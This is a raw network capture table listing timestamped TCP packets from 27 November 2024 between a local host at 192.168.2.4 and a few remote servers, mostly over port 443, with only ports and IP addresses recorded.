Nov 27, 2024 04:06:44.160732031 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.160758018 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.197002888 CET	80	49736	185.212.70.145	192.168.2.4
Nov 27, 2024 04:06:44.209389925 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.209418058 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.224430084 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.224488020 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.224517107 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.226891041 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.226949930 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.226974964 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.231416941 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.231456995 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.231514931 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.231539965 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.231583118 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.233877897 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.236394882 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.236440897 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.236499071 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.236524105 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.236759901 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.238934040 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.241503000 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.241554976 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.241589069 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.244005919 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.244050980 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.244074106 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.246500015 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.246548891 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.246568918 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.249021053 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.249075890 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.249098063 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.254002094 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.254067898 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.254091978 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.254115105 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.254154921 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.256520987 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.259011030 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.259057999 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.259083986 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.261540890 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.261599064 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.261621952 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.264117002 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.264182091 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.264204025 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.266693115 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.266740084 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.266762018 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.269200087 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.269252062 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.269278049 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.273324013 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.273370028 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.273394108 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.275346041 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.275403976 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.275428057 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.277395010 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.277441025 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.277460098 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.277482986 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.277530909 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.279330969 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.281413078 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.281462908 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.281486988 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.283696890 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.283766031 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.283788919 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.285392046 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.285444975 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.285471916 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.289216042 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.289264917 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.289288044 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.291172981 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.291217089 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.291238070 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.293158054 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.293219090 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.293237925 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.295135021 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.295175076 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.295196056 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.297247887 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.297292948 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.297312021 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.299165010 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.299238920 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.299257994 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.301177025 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.301242113 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.301261902 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.303134918 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.303287983 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.303307056 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.306966066 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.307005882 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.307033062 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.308919907 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.308967113 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.308985949 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.310904026 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.310975075 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.311002970 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.313268900 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.313400030 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.313414097 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.352250099 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.352313042 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.352339983 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.355099916 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.355153084 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.355178118 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.398659945 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.425101042 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.425570011 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.425605059 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.425610065 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.425637960 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.425681114 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.426934004 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.428325891 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.428366899 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.428390980 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.429649115 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.429719925 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.429742098 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.430949926 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.431018114 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.431039095 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.433372974 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.433425903 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.433449984 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.434628010 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.434674025 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.434691906 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.435920954 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.436043978 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.436072111 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.436090946 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.436419010 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.437148094 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.438519001 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.438560963 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.438580036 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.439794064 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.439863920 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.439886093 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.441029072 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.441093922 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.441108942 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.442248106 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.442358971 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.442378044 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.444641113 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.444686890 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.444705963 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.445966005 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.445993900 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.446017027 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.446036100 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.446078062 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.447123051 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.448520899 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.448560953 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.448576927 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.449738979 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.449783087 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.449798107 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.450968981 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.451010942 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.451026917 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.452243090 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.452363014 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.452385902 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.454567909 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.454607964 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.454627991 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.455872059 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.455914021 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.455933094 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.457103014 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.457142115 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.457154036 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.458313942 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.458365917 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.458385944 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.459770918 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.459835052 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.459846020 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.460918903 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.462064028 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.462141991 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.462150097 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.462162018 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.462198973 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.463300943 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.463359118 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.464066029 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.465260029 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.465315104 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.465337992 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.466509104 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.466559887 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.466574907 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.467777014 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.467998028 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.468018055 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.470155001 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.470216036 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.470233917 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.471385956 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.471435070 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.471446037 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.471466064 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.471503019 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.472623110 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.473875999 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.473929882 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.473957062 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.490489960 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.490561962 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.490587950 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.490786076 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.490839958 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.491435051 CET	49744	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.491450071 CET	443	49744	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.551249027 CET	49745	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.551289082 CET	443	49745	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.551363945 CET	49745	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.551940918 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.551995039 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.552444935 CET	49745	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.552454948 CET	443	49745	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.552488089 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.552671909 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.552689075 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.577006102 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.577034950 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.577115059 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.577390909 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.577400923 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.725029945 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.725070000 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.725116968 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.725383043 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:44.725394964 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:44.820961952 CET	49749	443	192.168.2.4	34.117.59.81
Nov 27, 2024 04:06:44.821002960 CET	443	49749	34.117.59.81	192.168.2.4
Nov 27, 2024 04:06:44.821069956 CET	49749	443	192.168.2.4	34.117.59.81
Nov 27, 2024 04:06:44.821635962 CET	49749	443	192.168.2.4	34.117.59.81
Nov 27, 2024 04:06:44.821645975 CET	443	49749	34.117.59.81	192.168.2.4
Nov 27, 2024 04:06:44.863567114 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:44.863598108 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:44.863825083 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:44.864078045 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:44.864089966 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:44.893785954 CET	49752	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:06:44.893827915 CET	443	49752	20.109.210.53	192.168.2.4
Nov 27, 2024 04:06:44.893889904 CET	49752	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:06:44.895092010 CET	49752	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:06:44.895122051 CET	443	49752	20.109.210.53	192.168.2.4
Nov 27, 2024 04:06:46.047327995 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.047646999 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.047662973 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.049137115 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.049206972 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.049603939 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.049681902 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.049702883 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.077356100 CET	443	49745	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.079118013 CET	49745	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.079128027 CET	443	49745	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.080286026 CET	443	49745	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.081041098 CET	49745	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.081186056 CET	49745	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.081191063 CET	443	49745	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.081212997 CET	443	49745	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.090025902 CET	443	49749	34.117.59.81	192.168.2.4
Nov 27, 2024 04:06:46.090233088 CET	49749	443	192.168.2.4	34.117.59.81
Nov 27, 2024 04:06:46.090260983 CET	443	49749	34.117.59.81	192.168.2.4
Nov 27, 2024 04:06:46.091305971 CET	443	49749	34.117.59.81	192.168.2.4
Nov 27, 2024 04:06:46.091384888 CET	49749	443	192.168.2.4	34.117.59.81
Nov 27, 2024 04:06:46.092119932 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.092138052 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.092910051 CET	49749	443	192.168.2.4	34.117.59.81
Nov 27, 2024 04:06:46.092967033 CET	443	49749	34.117.59.81	192.168.2.4
Nov 27, 2024 04:06:46.093179941 CET	49749	443	192.168.2.4	34.117.59.81
Nov 27, 2024 04:06:46.093187094 CET	443	49749	34.117.59.81	192.168.2.4
Nov 27, 2024 04:06:46.116108894 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.116352081 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.116378069 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.116704941 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.117010117 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.117078066 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.117121935 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.123950005 CET	49745	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.139096975 CET	49749	443	192.168.2.4	34.117.59.81
Nov 27, 2024 04:06:46.139107943 CET	49747	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.163332939 CET	443	49746	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.170267105 CET	49746	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.297224998 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.297504902 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.297524929 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.298580885 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.298659086 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.299067020 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.299132109 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.299206972 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.299216986 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.344320059 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:46.482785940 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:46.483794928 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:46.483815908 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:46.484929085 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:46.485007048 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:46.485940933 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:46.485999107 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:46.486112118 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:46.486119986 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:46.534070015 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:46.543498993 CET	443	49752	20.109.210.53	192.168.2.4
Nov 27, 2024 04:06:46.543631077 CET	49752	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:06:46.546941996 CET	49752	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:06:46.546953917 CET	443	49752	20.109.210.53	192.168.2.4
Nov 27, 2024 04:06:46.547188997 CET	443	49752	20.109.210.53	192.168.2.4
Nov 27, 2024 04:06:46.551727057 CET	443	49749	34.117.59.81	192.168.2.4
Nov 27, 2024 04:06:46.551846027 CET	443	49749	34.117.59.81	192.168.2.4
Nov 27, 2024 04:06:46.551898003 CET	49749	443	192.168.2.4	34.117.59.81
Nov 27, 2024 04:06:46.553509951 CET	49749	443	192.168.2.4	34.117.59.81
Nov 27, 2024 04:06:46.553534985 CET	443	49749	34.117.59.81	192.168.2.4
Nov 27, 2024 04:06:46.593265057 CET	49752	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:06:46.614233971 CET	443	49747	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:46.614305973 CET	443	49747	91.208.197.216	192.168.2.4
